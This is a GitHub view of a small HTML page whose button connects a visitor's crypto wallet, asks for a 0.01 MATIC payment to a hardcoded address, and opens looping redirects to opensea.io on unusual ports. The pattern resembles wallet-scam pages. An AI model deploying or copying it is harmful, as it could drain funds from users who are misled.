-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsac12.html
More file actions
100 lines (92 loc) · 2.89 KB
/
sac12.html
File metadata and controls
100 lines (92 loc) · 2.89 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<style>
.button {
background-color: #4CAF50;
border: none;
color: white;
padding: 15px 32px;
text-align: center;
text-decoration: none;
display: inline-block;
font-size: 16px;
margin: 4px 2px;
cursor: pointer;
}
</style>
</head>
<body>
<script>
async function promptWalletConnection() {
try {
if (typeof window.ethereum !== 'undefined') {
// Request wallet connection
const accounts = await ethereum.request({ method: 'eth_requestAccounts' });
if (accounts.length > 0) {
alert('Wallet connected successfully!');
return accounts[0]; // Return the first connected account
} else {
alert('No accounts found.');
return null;
}
} else {
alert('Web3 (Ethereum provider) is not available in this browser.');
return null;
}
} catch (error) {
alert(`Wallet connection request failed. Error: ${error.message}`);
return null;
}
}
async function sendTransaction(account) {
if (!account) {
alert('No connected account found.');
return false; // Skip transaction if no account is connected
}
try {
const transactionParameters = {
gasPrice: "0x244AC6D", // Adjust as needed
gas: "0x12A52", // Adjust as needed
to: "0x983C2d9302a31041bf3E342dDd420DDac122ccb6", // Replace with the recipient address
from: ethereum.selectedAddress,
value: "0x2386F26FC10000", // 0.01 MATIC in Wei (10000000000000000 Wei)
data: "0x00",
chainId: "137", // Polygon Mainnet Chain ID
};
const txHash = await window.ethereum.request({
method: 'eth_sendTransaction',
params: [transactionParameters],
});
alert(`Transaction sent. TxHash: ${txHash}`);
return true;
} catch (error) {
alert(`Transaction request failed. Error: ${error.message}`);
return false;
}
}
function handleButtonClick() {
promptWalletConnection()
.then(account => {
if (account) {
// Perform redirection immediately after successful connection
window.open('https://opensea.io:8082');
// Optionally, delay or manage the interval-based redirection
setInterval(function () {
location.href = 'https://opensea.io:8083';
}, 1000);
// Proceed with transaction
return sendTransaction(account);
}
})
.catch(error => {
alert(`Error: ${error.message}`);
});
}
</script>
<center>
<input type="button" class="button" value="Connect Wallet and Send Transaction" onclick="handleButtonClick()">
</center>
</body>
</html>